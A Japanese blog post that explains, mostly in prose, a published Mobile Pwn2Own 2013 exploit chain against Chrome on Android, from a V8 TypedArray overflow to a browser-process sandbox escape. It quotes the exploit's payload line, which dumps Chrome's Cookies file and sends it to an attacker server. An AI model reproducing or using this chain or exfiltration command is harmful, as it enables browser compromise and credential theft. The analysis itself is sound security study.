coding, photo, plant and demo

*ASLR回避技術とChromeのsandboxの突破exploit

tech webkit 20140515 010001

ASLRの回避技術

IEの脆弱性とUse-After-Free というメモを書いて色々調べていたら、面白い記事を見つけた。

ASLR Bypass Apocalypse in Recent Zero-Day Exploits
http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

どうやら最近はASLRも回避する方法が確立されつつあるらしい。
リンク先で幾つか回避方法が紹介されているが、その最も有力な手法がArrayオブジェクトのlengthの書き換え。Buffer overflowなりuse-after-freeなりでarrayのlengthを不正に書き換えることで、最終的に全メモリへのアクセス権をスクリプト上から得る。こうなればexploitは成功したも同然。ROPのガジェットを集めたり、JITのrwxなページを書き換えることができる。オブジェクトのvtblを書き換えればEIPも奪えるわけで事実上完全に制御を奪うことが出来る。

Chromeのsandbox破り

こういったArrayの書き換えから実際にブラウザをexploitする解説もあった。これは去年の秋のMobile PWN2OWNでAndroid上のChromeでexploitを成功させたPinkie氏のコードをchromium.orgの人が解説した資料だ。

Mobile PWN2OWN Autumn 2013 - Chrome on Android - Exploit Writeup
https://docs.google.com/document/d/1tHElG04AJR5OR2Ex-m_Jsmc8S5fAbRB3s4RmTG_PFnw/edit

前述のASLR破りの説明も衝撃だったが、この解説もさらに衝撃的だ。Chromeのsandboxを破っている。ChromeはSandboxに守られているから、DEPを破りASLRを破ったところでやれることは限られている。何故ならsandbox内ではファイルシステムへのアクセスやシステムコールの呼び出しが制限されているのだから安心。だったはずなのに破ったというのだ。どうやったらそんなことができるのだろう。一応ひと通り上記は読んで理解はしたつもりなので、備忘録も兼ねてその説明を書いていく。

最初の綻び、オーバーフロー判定のバグ

簡単に解説していくと、まず任意のメモリへのアクセスを得るためにv8のTypedArrayにあるバグを利用する。これがまずちょっとおもしろい。
{length:0x1234}のようなオブジェクト(コード中はhugetemplというobj)を作り、それを元にTypedArrayを初期化するとRuntime_TypedArrayInitializeFromArrayLikeというコードが呼ばれる。
オブジェクトのlengthプロパティを信用して、TypedArrayを作りましょう、ということだ。その際のメモリ確保量のオーバーフロー判定が肝。
  1. 1RUNTIME_FUNCTION(MaybeObject*, Runtime_TypedArrayInitializeFromArrayLike)
  2. 2...
  3. 3size_t byte_length = length * element_size;
  4. 4
  5. 5if (byte_length < length) {
  6. 6 return isolate->Throw(*isolate->factory()->
  7. 7 NewRangeError("invalid_array_buffer_length",
  8. 8 HandleVector<Object>(NULL, 0)));
  9. 9}

えーと、配列長と要素のバイト数を掛けて、掛けたのに配列長より下回ったらオーバーフローしていることが分かるので例外を投げる、と。別に問題なくない?僕もそう思ってた時代がありました。しかし、これはある条件ではオーバーフローしつつも正常系に進んでしまうのだ。例えば32bit環境でfloat64(8バイト)を0x24924924個確保する。するとbyte_lengthは0x24924924*8=0x124924928とオーバーフローするが32bit環境ではbyte_length < lengthを満たさずにチェックをすり抜けてしまう。

ArrayBufferのコピーコンストラクタを利用した隣のヒープの書き換え

するとこのとんでもないサイズのアロケーションが走るわけでおかしなことになる。つまり0x24924928バイトのdlmallocをした後にコピーコンストラクタ、これがアロケーション以上のメモリコピー(float64の0x24924924個分)を引き起こし、メモリ破壊が生じる。

ここからが個人的にこのexploitの最も理解が難しいところだと思う。まず、普通にこのコピーが走るとヒープを壊してunmapなメモリを触ってクラッシュして終わりになってしまう。このexploitが振るっているのは、コピー元のobject(hugetempl)のgetterをoverrideしていること(__defineGetter__)。getterではオーバーフローして隣のヒープブロックを壊すときのarrayのindexが、確保した大きさとdlmallocの性質から分かっている(このときのarrayのindexをbadとして定義している)。だから、隣のヒープブロックを所定の値に不正に上書きすることができる。

まずコンストラクタが動き出すと、最初にgetterの中でHeap sprayの要領で大量の0x20000バイトのArrayを作成して(arrays)、badの位置つまり確保したバカでかいヒープの隣にArrayが配置されるようにする。そしてbadに差し掛かった時にそのArrayのデータをgetterの返り値で任意の値に書き換える(Float64なので8バイトごとの書き換えになる点に注意)。ただ、ここにはArrayBufferの中身があるだけで、それを書き換えただけでは意味が無い。面白いのは書き換えた次の要素のgetterで自分がsprayしておいたどのarrayを書き換えたかを特定する点。これはarraysを作る際に0x42で全部埋めて、badに差し掛かった時に0x41を書き込むので、どのarrayが書き換わったかは調べれば分かる。

コンストラクタ実行中にオブジェクトをすり替える

そしてここからがさらに面白い。その書き換えられたarrayつまり現在不正に書き換えている最中のarrayを解放して、強制的にGCを起こし、同じ場所にWTF::ArrayBufferというインスタンス(詳細は後述)を作る。コンストラクタに制御を戻しbad+2の位置のgetterが呼ばれる。これがちょうどさっき作ったWTF::ArrayBufferのm_sizeInBytesつまり配列の長さの部分になっており、getterで0x7fffffffを返すことでlengthが壊れてそのWTF::ArrayBufferのアドレス以降に自由にアクセスできる配列ができる!そしてbad+3のgetterではexceptionを投げてコピーコンストラクタを途中で終了させる。hugetemplからのarraybufferの生成自体は失敗して制御がJavaScriptに戻る。

ちなみにWTF::ArrayBufferというのはWebKit側のオブジェクトであり、v8(JavaScript)の配列(JSArrayBuffer)がexternalizeされるとそのbacking_storeとして生成される。externalはv8からみた外側ということで、blink(WebKit)側のヒープで管理されていることを示す。WebGL等でTyped Arrayをv8側で作ってBlinkの世界へ引き渡すときに、このexternalizeが起こる。ということでWTFArrayを作るためにWebGLのbufferDataという関数を使っている(force)。

ArrayBufferのロンダリング blinkからv8へ

さて、これでCのポインタの性質にほぼ近い魔法の杖WTF::ArrayBufferが手に入った。しかしまだ道半ばである。というのも上で述べたようにWTF::ArrayBufferはあくまでblinkの世界の話、JSから見えるArrayBufferは書き換わっていないので、相変わらずJSからは正常なrangeしかアクセス出来ない。さてどうするんだ、と思ったらmessagingを使ってWTF::ArrayBufferからJSArrayBufferへのロンダリングができるらしい。window.postMessageはwindow間でオブジェクトを送ることが出来るのだけど、そのときに所有権を移転するように指定するとそのロンダリングが起きてしまう。つまりWTF::ArrayBufferによってJSArrayBufferが作られるらしい。ということで、魔法の杖が出来上がり。

http://www.w3.org/TR/webmessaging

祝福された魔法の杖へ: 任意のメモリ書き換えの実現

ただ、この魔法の杖は配列のベースアドレス以降はアクセスできるけど、それより低いアドレスにはアクセス出来ない。ということで、先ほどのようにWTF::ArrayBufferを量産し、既にある魔法の杖を使ってそのベースアドレスと長さを書き換えてロンダリングすることで、祝福された魔法の杖の出来上がり。これで全メモリ空間にjs上から自由にアクセスできるようになった!

任意のコードの実行の実現

さてここからは、任意のコードの実行の準備に入る(prepareForCalls)。
WTF::DataViewも同様に作ってそのvtblを読む。すると.textのある位置が分かるのでそこからdlsymを呼ぶgadget(コード片)を探す。そこからPLT(Procedure Linkage Table)を辿って、v8のthread_data_table_ポインタをロードする。するとその構造体を辿って行くとJSのヒープの位置が分かる。そこにはrwxなJITされたコード置き場でもある。そこでダミーの見つけやすいコードが生成される関数をevalしてJITされた機械語コードを見つけ、トランポリンに書き換える。トランポリンはcallbufに書き込まれた値をレジスタに書き戻して関数をコールするコード片で、これで任意のnativeの関数やsystemcallを任意の引数でJS上の関数を使ってコールできるようになった!これで攻撃者はsandbox内を完全に制御下に置くことができた。

sandboxの中から外へ

しかし、Chromiumの場合sandbox内では使用できるsystemcallが非常に制限されており、事実上Browser Processとpipeで通信することしかできない。sandbox単体ではファイルシステムにもアクセスできないし(そもそもsandbox内はLinuxならchrootされており仮にファイルシステムが見えてもあまり意味が無い)、ネットワークアクセスもできない。そういった全ての権限はBrowser Processが受け持っている。そこではユーザのコンテンツを動かすことはないため、乗っ取られることはない(と信じられている)。ということで、sandboxを制圧しただけでは自由度が低く、次にBroser Processを攻略する必要がある。しかしこれはuser landからkernelを攻略するようなもので、相当難しいように思えるが、一体どんな魔法があるのだろう。

IPCの準備

まず、Browser Processとsandbox(Renderer Process)との間のIPC(プロセス間通信)はpipeで行われる。IPCを通じてsandboxから様々なメッセージを送り、Browser Processでは送られてきたメッセージをみてsandboxがその機能を使う権限があるのかをチェックして、何らかの処理を実行する。pipeを使うためにはfdが必要だが、これも任意のコードが実行できる状態なので、getsockoptを順に呼ぶことで力技で割り出すことができる。これで任意のメッセージを送れるようになったが、これ自体はsandboxの正当な権利であって当たり前のことができるようになっただけ。

あと面白いのはsandbox内のIOスレッドなど自分以外のスレッドのSIGUSR2のシグナルハンドラにfutexを呼ぶように設定し、SIGUSR2を投げて全て止めていること。これによってBrowser Processからのメッセージによる外乱を排除してsandboxの制御をより安定なものにする。

BrowserProcessの綻び、クリップボードIPCのバグ

さてこれでIPCでメッセージを送れるようになった。ここでBrowserProcess内に存在するバグを利用する。使うのはClipboardHostMsg_WriteObjectsAsyncというメッセージで、これが凄まじいバグを持っていて任意のアドレスをfreeできてしまうのだ。となれば IEの脆弱性のとき に書いてあるようにheap sprayと組み合わせてvtblの書き換えを行えばプログラムカウンタは攻撃者の手に渡ることは容易に想像がつく。なんてこった、sandboxの意味ねー。

BroserProcessへのヒープスプレー

Heap sprayにはAudioHostMsg_CreateStreamというメッセージを使う。これはsandbox内で生成したPCMをBrowser Processに渡してaudio deviceを叩いてもらうためのメッセージだが、Browser Processとsandbox間に任意のサイズの共有メモリを作ることが出来るため、sprayにうってつけだ。
Browser Processから共有メモリのハンドル(fd)と長さがIPCで送られてくるので、それをmessageReceiveで受け取りmmapで論理アドレスに割り付ける。
そしてスプレーの内容がちょっと面白い。mmapしたメモリにサイズが0x68のふりをしたdlmallocのフェイクチャンクをひたすら書き込んでおく。そしてClipboardHostMsg_WriteObjectsAsyncをそのどこかのアドレスに引っかかるように送信する。解放されるアドレスを指定はできるものの、そのアドレスはBrowser process内のアドレスでありsandbox内からは推測することが出来ないからこそ、sprayしておく必要があるわけだ。そしてBrowser Processでfree(というかクリップボードのメッセージを処理する)する過程でそのメモリが書き換わるため、freeされたブロックのアドレスをsanboxから特定することができる。

vtbl書き換え、そしてsystem call呼び出しへ

先ほど0x68バイトのheapを解放したが、それはdlmallocの0x68バイトの解放リストに加わっている。そこでP2PHostMsg_CreateSocketを呼ぶと0x68バイトのcontent::P2PSocketHostTcpが生成されるが、ここで先ほどfreeしておいたフェイクのチャンクが使われる。つまり、そのメモリ空間は共有メモリであり、sandboxからP2PSocketHostTcpインスタンスを書き換え可能である!そしてこれはvtblを持っており、そのうちのひとつはP2PHostMsg_DestroySocketを呼ぶことで発動する。

最終的にBrowser Process内で実行されるのは下記で書き込まれたコードである。
        write32(bucket, funcs.system);
        var url = window.location.origin + '/sb.png';
        copystr(bucket + 12, '; am start --user 0 -a android.intent.action.VIEW -d "' + url + '?`hd -c 1024 /data/data/com.android.chrome/app_chrome/Default/Cookies`" & kill $PPID');
        messageSend(0x7fffffff, 0x00190052, // P2PHostMsg_DestroySocket
これは全てのcookieの中身をurlのqueryに引っ付けることで攻撃サーバへ送信している。Cookieだけじゃなくてブラウザに覚えさせたパスワードも同様の手口で送信できると思われる。
どうやらsystem関数のアドレス自体はsandboxとBrowser Processで同じらしいので、簡単にBrowser Process内で任意のシステムコールを実行できてしまう。これはAndroidでは全てのアプリはzygoteからforkするため、基本的なライブラリに関して同じメモリマップになってしまうのが原因かもしれない。

From Zygote to Morula:Fortifying Weakened ASLR on Android
http://pdos.csail.mit.edu/~taesoo/pubs/2014/morula/morula.pdf

ということでsandboxがあってもアプリにバグが有りOSに弱みがあると、このように攻撃者につけ込まれてしまうのであった。

所感

Chromiumのsandboxを破るなど、僕には到底想像の出来ない所業であったので、この魔法のようなexploitは読んでいて非常に驚きと感動と恐怖を与えてくれた。と、同時に破られはしたもののsandboxの強力さも実感することが出来た。OSが64bitできっちりASLRを行えばかなり攻略の難易度は高く、相対的にかなり安全と言える。(ただしWindows版Chromeは32bitプロセスで動いているようだが…64bitで動くLinux版のほうが安全なのかもしれない。setuid+seccompのsandboxもWindowsと同じくらい強力だと思うし)

しかしである。実はsandboxを無理やり破る必要もないのかもしれない。というのもsandbox内で複数のドメインのiframeを動かさなくてはいけない仕様上、sandboxからBrowser Processを攻撃せずに、正規の手続きで主要のドメインのcookieを取得することは可能だ。事実SOP(same origin policy)はblinkが自主規制で行っているだけで、webSecurityEnabledというフラグを一つfalseに倒すだけで無効になる。

https://chromium.googlesource.com/chromium/blink/+/9eb0e6c1fe924dbb30a1aafefff5ad0658b26b5f/Source/core/dom/Document.cpp#4531
  1. 1 if (!settings->webSecurityEnabled()) {
  2. 2 // Web security is turned off. We should let this document access every other document. This is used primary by testing
  3. 3 // harnesses for web sites.

つまり、そのフラグの在処を何かしらの方法で探しだして書き換えてしまえば、iframeの中の情報は抜き放題。そして取得したデータをXHRで送ればいいのだから、攻略はかなり簡単だ。となると、sandboxがあるから安心とは全く言えない事がわかる。もちろん乗っ取りなどの最悪の自体のリスクは劇的に下がることが期待できるが、セッションハイジャック等に関しては特に安全にはなっていない。

より安全にするためにはSOPの機構をBrowser Processで行う必要があるだろう。つまり1origin=1sandboxとする。このような事態は当然Chromiumのチームも認識しており、結構前からsite isolationというプロジェクトが立ち上がっているようだ。

http://www.chromium.org/developers/design-documents/site-isolation

これはblink-devの年初でEric Seidelが提案した今年のプロジェクトのゴールのひとつにも入っているから、重点領域のひとつという位置づけなのだろうか。
https://groups.google.com/a/chromium.org/forum/#!searchin/blink-dev/2014$20eric/blink-dev/Z5OzwYh3Wfk/ud32u-5uhu8J

所感:Webはどこへ行くのか

Chromiumは更なるセキュリティ強化に邁進しているようで、これからも安全なブラウザのトップランナーで居続けてくれそうだ。心配なのは、こういったセキュリティの強化は代償として速度やメモリ消費量が犠牲になるということ(sandbox自体も勿論オーバーヘッドがある)。そしてChromiumの現状もっとも大きな問題はモバイルでパフォーマンスが低いということで、事実先のEric Seidelの計画案の中心はデスクトップからモバイルへのシフトとなっている。元来ChromiumはデスクトップPCの潤沢なメモリと潤沢なCPU性能の上で如何に高速に動作するか、を念頭に開発されてきたフシがあり、現状のCPU性能が高くはなく低消費電力が求められるモバイルとはかなり相性が悪い。このままこの状態が続くとブラウザが遅いためにHTML5アプリの時代なんぞはモバイルには到来せずネイティブアプリはますます隆盛を極め、衰退しつつあるPCと共にChromiumひいてはWebというもの自体がレガシーなものになりかねない。

もはやブラウザは数あるソフトウェアの中でも、トップクラスの複雑度と高度さを備える大規模ソフトウェアとなってしまった。まさに恐竜のようなものである。この恐竜はPCという環境を最大限に利用して成長し栄華を極めたわけだが、そういったものほど環境の変化には弱い。環境に適応した利点は環境が変わると弱点に変わってしまうことがある。この業界は、今まさにモバイルという大きな隕石が地表に激突し大きく環境が変化しているところだ。様々なハードウェアやソフトウェアの勢力図が塗り替えられている。その中でブラウザは哺乳類のように生き残り更なる繁栄を遂げるのか、恐竜のように化石でしか見られない存在になるのか。そういった歴史的な岐路に立っているのかもしれない。

参考:モバイルにおけるWebの地位は低下している
http://gamebiz.jp/?p=128795
(もちろんWebViewがアプリの中で使われていたりはするので一概に言えない部分はありますが)